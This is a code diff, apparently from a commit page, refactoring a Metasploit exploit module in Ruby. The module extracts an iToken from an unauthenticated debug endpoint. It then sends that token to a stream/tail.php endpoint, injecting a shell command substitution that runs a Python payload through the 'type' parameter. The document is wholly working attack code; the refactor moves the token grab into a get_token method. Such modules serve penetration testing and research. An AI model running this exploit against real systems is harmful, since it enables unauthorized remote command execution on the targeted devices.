@@ -45,8 +45,8 @@ def initialize(info={})
45
45
)
46
46
end
47
47
48
- def check
49
- # Get iToken from unauthenticated accessible endpoint
48
+ def get_token
49
+ # Taking token by exploiting bug on first endpoint.
50
50
res = send_request_cgi ( {
51
51
'method' => 'GET' ,
52
52
'uri' => normalize_uri ( target_uri . path , 'webservices' , 'download' , 'index.php' ) ,
@@ -57,41 +57,42 @@ def check
57
57
} )
58
58
59
59
if res && res . code == 200 && res . body . include? ( "iToken" )
60
- return Exploit :: CheckCode :: Appears
60
+ res . body . scan ( /"iToken";s:32:"([a-z][a-f0-9]{31})";/ ) . flatten [ 0 ]
61
61
else
62
- return Exploit ::CheckCode ::Safe
62
+ nil
63
+ end
64
+ end
65
+
66
+ def check
67
+ # If we've managed to get token, that means target is most likely vulnerable.
68
+ token = get_token
69
+ if token . nil?
70
+ Exploit ::CheckCode ::Safe
71
+ else
72
+ Exploit ::CheckCode ::Appears
63
73
end
64
74
end
65
75
66
76
def exploit
67
- print_status ( "Extracting iToken value from unauthenticated accessible endpoint." )
68
77
# Get iToken from unauthenticated accessible endpoint
69
- res = send_request_cgi ( {
70
- 'method' => 'GET' ,
71
- 'uri' => normalize_uri ( target_uri . path , 'webservices' , 'download' , 'index.php' ) ,
72
- 'vars_get' => {
73
- 'applianceUid' => "LOCALUID" ,
74
- 'typeOf' => "debug"
75
- }
76
- } )
78
+ print_status ( "Extracting iToken value" )
79
+ token = get_token
77
80
78
- if res && res . code == 200 && res . body . include? ( "iToken" )
79
- iToken = res . body . scan ( /"iToken";s:32:"([a-z][a-f0-9]{31})";/ ) . flatten [ 0 ]
80
- print_good ( "Awesome. iToken value = #{ iToken } " )
81
+ if token . nil?
82
+ fail_with ( Failure ::NotVulnerable , "Target is not vulnerable." )
81
83
else
82
- fail_with ( Failure :: Unknown , "Didn't receive response from target server. ")
84
+ print_good ( "Awesome. iToken value = #{ token } ")
83
85
end
84
86
85
- # Accessing to the vulnerable endpoint with valid iToken
87
+ # Accessing to the vulnerable second endpoint where we have command injection with valid iToken
86
88
print_status ( "Trigerring command injection vulnerability with iToken value." )
87
-
88
89
r = rand_text_alpha ( 5 + rand ( 3 ) ) ;
89
90
90
91
send_request_cgi ( {
91
92
'method' => 'POST' ,
92
93
'uri' => normalize_uri ( target_uri . path , 'webservices' , 'stream' , 'tail.php' ) ,
93
94
'vars_post' => {
94
- 'iToken' => iToken ,
95
+ 'iToken' => token ,
95
96
'tag' => "tunnel" ,
96
97
'stime' => r ,
97
98
'type' => "#{ r } $(python -c \" #{ payload . encoded } \" )"
0 commit comments